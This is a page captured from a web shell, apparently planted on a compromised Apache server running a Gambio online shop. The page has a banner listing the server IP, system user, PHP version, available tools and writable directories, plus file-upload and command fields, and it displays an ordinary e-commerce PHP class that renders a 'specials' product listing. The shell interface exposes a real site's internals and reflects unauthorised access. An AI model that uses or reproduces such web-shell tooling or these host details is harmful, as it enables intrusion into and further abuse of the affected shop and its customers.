403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/listing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/listing/SpecialsMainContentView.inc.php
<?php
/* --------------------------------------------------------------
   SpecialsMainContentView.inc.php 2018-10-09
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2018 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------


   based on:
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(specials.php,v 1.47 2003/05/27); www.oscommerce.com
   (c) 2003	 nextcommerce (specials.php,v 1.12 2003/08/17); www.nextcommerce.org
   (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: specials.php 1292 2005-10-07 16:10:55Z mz $)


   Released under the GNU General Public License
   ---------------------------------------------------------------------------------------*/

class SpecialsMainContentView extends ContentView
{

	protected $customers_status_id;
	protected $customers_fsk18_display = 0;
	protected $languages_id;
	protected $specials_count;
	
	public function __construct()
	{
		parent::__construct();
		
		$this->set_content_template('module/specials_main.html');
		$this->set_flat_assigns(true);
		$this->specials_count = (int)gm_get_conf('GM_SPECIALS_STARTPAGE');
	}

	protected function set_validation_rules()
	{
		$this->validation_rules_array['customers_status_id']		= array('type' => 'int');
		$this->validation_rules_array['customers_fsk18_display']	= array('type' => 'int');
		$this->validation_rules_array['languages_id']				= array('type' => 'int');
		$this->validation_rules_array['specials_count']				= array('type' => 'int');
	}

	function prepare_data()
	{
		$t_uninitialized_array = $this->get_uninitialized_variables(array('customers_status_id',
																		  'languages_id')
		);

		if(empty($t_uninitialized_array))
		{
			if($this->specials_count > 0)
			{
				$t_specials_query = $this->build_sql_query();
				$t_result = xtc_db_query($t_specials_query);

				if(xtc_db_num_rows($t_result) > 0)
				{
				    $specials = [];
				    
					while($t_specials = xtc_db_fetch_array($t_result))
					{
						$coo_product = MainFactory::create_object('product', array($t_specials['products_id']));
                        $specials[] = $coo_product->buildDataArray($coo_product->data);
					}
					$this->content_array['module_content'] = $specials;
                    $this->content_array['module_content_html'] = $this->generateSpecialsProductsListing($specials);
				}
			}
			else
			{
				$this->build_html = false;
			}
		}
		else
		{
			trigger_error("Variable(s) " . implode(', ', $t_uninitialized_array) . " do(es) not exist in class " . get_class($this) . " or is/are null", E_USER_ERROR);
		}
	}
	
	protected function build_sql_query()
	{
		$t_fsk_lock = '';
		if($this->customers_fsk18_display == 0)
		{
			$t_fsk_lock = ' AND p.products_fsk18 != 1 ';
		}

		$t_group_check = '';
		if(GROUP_CHECK == 'true')
		{
			$t_group_check = ' AND p.group_permission_' . $this->customers_status_id . ' = 1 ';
		}

		$t_specials_query = "SELECT
								p.products_id
							FROM
								(SELECT
									s.products_id
								FROM
									" . TABLE_SPECIALS . " s
								WHERE
									s.status = '1'
								LIMIT " . (int)MAX_RANDOM_SELECT_SPECIALS . ") AS s,
								" . TABLE_PRODUCTS . " p
							WHERE
								p.products_id = s.products_id
								AND p.products_status = '1'
								" . $t_group_check . "
								" . $t_fsk_lock . "
							ORDER BY 
								RAND()
							LIMIT " . $this->specials_count
		;

		return $t_specials_query;
	}
    
    
    protected function generateSpecialsProductsListing($products)
    {
        $template = 'snippets/product_listing/product_listing.html';
        if(gm_get_conf('USE_SPECIAL_PRODUCT_SWIPER_ON_INDEX') === 'true')
        {
            $template = 'snippets/product_listing/product_listing_swiper.html';
        }
        
        $showRating = false;
        if(gm_get_conf('ENABLE_RATING') === 'true' && gm_get_conf('SHOW_RATING_IN_GRID_AND_LISTING') === 'true')
        {
            $showRating = true;
        }
        
        $showManufacturerImages = gm_get_conf('SHOW_MANUFACTURER_IMAGE_LISTING');
        $showProductRibbons = gm_get_conf('SHOW_PRODUCT_RIBBONS');
        
        $fullscreenPage = $GLOBALS['coo_template_control']->findSettingValueByName('gx-index-full-width');
        
        $swiperData = [
            'products'               => $products,
            'id'                     => 'specials',
            'hoverable'              => true,
            'template'               => $template,
            'truncate'               => gm_get_conf('TRUNCATE_PRODUCTS_NAME'),
            'showRating'             => $showRating,
            'fullscreenPage'         => $fullscreenPage,
            'showManufacturerImages' => $showManufacturerImages,
            'showProductRibbons'     => $showProductRibbons,
        ];
        
        $swiperHtml = MainFactory::create_object('ProductsSwiperContentView', [$swiperData]);
        return $swiperHtml->get_html();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit